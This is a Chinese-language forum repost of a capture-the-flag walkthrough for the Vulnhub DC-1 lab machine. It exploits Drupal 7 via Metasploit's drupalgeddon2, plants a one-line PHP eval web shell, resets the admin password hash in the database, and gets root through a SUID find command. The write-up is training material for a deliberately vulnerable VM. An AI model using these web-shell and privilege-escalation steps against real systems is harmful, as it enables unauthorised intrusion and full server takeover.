安全矩阵

 找回密码
 立即注册
搜索
查看: 2362|回复: 0

VulnhubDC系列靶场之DC-1渗透

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-4-14 22:18:47 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-4-14 22:18 编辑

VulnhubDC系列靶场之DC-1渗透

原创 molengsu Tide安全团队 2022-04-14 17:02


描述
有多种获得root 的方法,但是,已经在系统包含了一些为初学者提供线索的flag。
总共有五个flag,最终目标是在 root 的主目录中找到并读取flag。您甚至不需要成为 root 即可执行此操作,但是最终目标是获得 root 权限。
根据您的技能水平,您可能可以跳过查找大多数这些标志并直接获取根。
环境准备
  1. 靶机获取地址:https://www.vulnhub.com/entry/dc-1,292/
复制代码
将下载好的靶机导入到virtualBox中,设置网卡为net接入模式,拓扑如下:

信息收集
获取IP

在物理机虚拟机中,靶机与攻击机处于同一网段,使用arp-scan对网段进行二层主机探测,获取到靶机ip如下图中所示,ip192.168.183.132为靶机地址。
  1. arp-scan -l
复制代码


获取服务
使用nmap扫描靶机开放的端口服务,发现系统开放了22、80、111端口。



通过ip访问目标的80端口web服务,发现系统使用了Drupal的cms,通过wappalyzer插件检测Drupal的版本为7.0,在nmap中探测出的信息中80端口使用的也是Drupal 7。



查看一下robots.txt发现很多页面,访问发现没有权限,在robots中的信息中没有发现太多有用信息。


  1. #
  2. # robots.txt
  3. #
  4. # This file is to prevent the crawling and indexing of certain parts
  5. # of your site by web crawlers and spiders run by sites like Yahoo!
  6. # and Google. By telling these "robots" where not to go on your site,
  7. # you save bandwidth and server resources.
  8. #
  9. # This file will be ignored unless it is at the root of your host:
  10. # Used: http://example.com/robots.txt
  11. # Ignored: http://example.com/site/robots.txt
  12. #
  13. # For more information about the robots.txt standard, see:
  14. # http://www.robotstxt.org/wc/robots.html
  15. #
  16. # For syntax checking, see:
  17. # http://www.sxw.org.uk/computing/robots/check.html

  18. User-agent: *
  19. Crawl-delay: 10
  20. # Directories
  21. Disallow: /includes/
  22. Disallow: /misc/
  23. Disallow: /modules/
  24. Disallow: /profiles/
  25. Disallow: /scripts/
  26. Disallow: /themes/
  27. # Files
  28. Disallow: /CHANGELOG.tx
  29. tDisallow: /cron.php
  30. Disallow: /INSTALL.mysql.txt
  31. Disallow: /INSTALL.pgsql.txt
  32. Disallow: /INSTALL.sqlite.txt
  33. Disallow: /install.php
  34. Disallow: /INSTALL.txt
  35. Disallow: /LICENSE.txt
  36. Disallow: /MAINTAINERS.txt
  37. Disallow: /update.php
  38. Disallow: /UPGRADE.txt
  39. Disallow: /xmlrpc.php
  40. # Paths (clean URLs)
  41. Disallow: /admin/
  42. Disallow: /comment/reply/
  43. Disallow: /filter/tips/
  44. Disallow: /node/add/
  45. Disallow: /search/
  46. Disallow: /user/register/
  47. Disallow: /user/password/
  48. Disallow: /user/login/
  49. Disallow: /user/logout/
  50. # Paths (no clean URLs)
  51. Disallow: /?q=admin/
  52. Disallow: /?q=comment/reply/
  53. Disallow: /?q=filter/tips/
  54. Disallow: /?q=node/add/
  55. Disallow: /?q=search/
  56. Disallow: /?q=user/password/
  57. Disallow: /?q=user/register/
  58. Disallow: /?q=user/login/
  59. Disallow: /?q=user/logout/
复制代码

漏洞探测
Exploit-DB漏洞库查找

在Exploit-DB漏洞库搜索Drupal 7相关漏洞,发现7.0版本存在多个SQL注入漏洞和代码执行
  1. searchsploit Drupal 7
复制代码


漏洞利用
MSF查找相关漏洞

使用Metasploit查找Drupal相关漏洞,发现2中与SQL注入相关
  1. msfconsole ##启动msf
  2. searth Drupal ##搜索Drupal
复制代码



尝试利用
逐个进行尝试,发现4 unix/webapp/drupal_drupalgeddon2可以利用。
  1. use unix/webapp/drupal_drupalgeddon2 ## 使用unix/webapp/drupal_drupalgeddon2模块
  2. show options ## 查看参数配置
  3. set rhosts 192.168.183.132 ## 设置目标ip
  4. exploit ## 进行利用
复制代码

获取flag1
查看目录发现flag1.txt,查看内容如下,猜测flag1内容是flag2的提示信息
  1. Every good CMS needs a config file - and so do you.
  2. 每个好的CMS都需要一个配置文件——你也一样。
复制代码



使用find / -name "*flag*"查找发现flag1、flag4和root根目录下flag的位置。



获取flag2

根据提示寻找网站根目录并寻找配置文件
写入一句话连接蚁剑
  1. echo '<?php @eval($_POST['cc123']);?>'>>./shell.php
复制代码




连接蚁剑在/var/www/sites/default/settings.php找到flag2。
  1. * flag2
  2. * Brute force and dictionary attacks aren't the
  3. * only ways to gain access (and you WILL need access).
  4. * What can you do with these credentials?
  5. *暴力破解和字典攻击不是获得访问权限的唯一方法(你将需要访问)。  
  6. 你能用这些证书做什么?  
复制代码




通过flag2的提示,不使用爆破的方法,我们可以使用数据库配置信息中的数据库用户名密码直接登录数据库获取账号信息。

获取flag3
  1. python -c 'import pty;pty.spawn("/bin/bash")' #获得交互式shell
  2. mysql -u dbuser -p #连接数据库
  3. show databases;
  4. use drupaldb;
  5. show tables;
  6. select * from users;
复制代码


查找数据库





经过查看密码是经过Drupal加密的,首先想到是注册一个新账号密码设为弱口令123456,,然后数据库中获取到加密后的123456,将admin的密码替换掉。经过尝试发现web主页的注册功能需要邮箱验证,这个思路就不适用了。
百度查找了一下drupal密码重置借鉴https://drupalchina.cn/node/1964,发现网站根目录下password-hash.sh用做密码加密。
  1. ./scripts/password-hash.sh 123456
复制代码
123456生成的hash: $S$DErVsVSc02xOCsBX4bFsyCV3trcSz11VWqd.w5370Z.DYafvjanD



  1. update users set pass="$S$DErVsVSc02xOCsBX4bFsyCV3trcSz11VWqd.w5370Z.DYafvjanD" where name="admin";
复制代码



登录系统获取到flag3。
  1. Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.特殊的PERMS将帮助查找密码—但是您需要 —exec 命令来发现隐藏部分。
复制代码



获取flag4

在查找获取flag1的时候通过find / -name "*flag*"命令,已经找到了flag4的位置,通过蚁剑打开/home/flag4/flag4.txt查看内容
  1. Can you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy.  Or maybe it is?
  2. 您可以使用相同的方法在根目录中查找或访问该标志吗?  可能。但也许事情没那么简单。也许是吧?
复制代码




获取flag5
根目录中的flag猜测为/root/thefinalflag.txt,使用蚁剑打开发现没有权限访问
提权查找拥有suid权限命令find / -perm -u=s -type f 2>/dev/null发现find有root权限。



利用find提权find . -exec /bin/sh \;



获取flag
  1. Well done!!!!Hopefully you've enjoyed this and learned some new skills.
  2. You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7
  3. 做得好! ! ! !  希望你喜欢这篇文章并学到了一些新技能。你可以告诉我你对这次旅行的看法 通过Twitter @DCAU7联系我
复制代码





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:52 , Processed in 0.021153 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表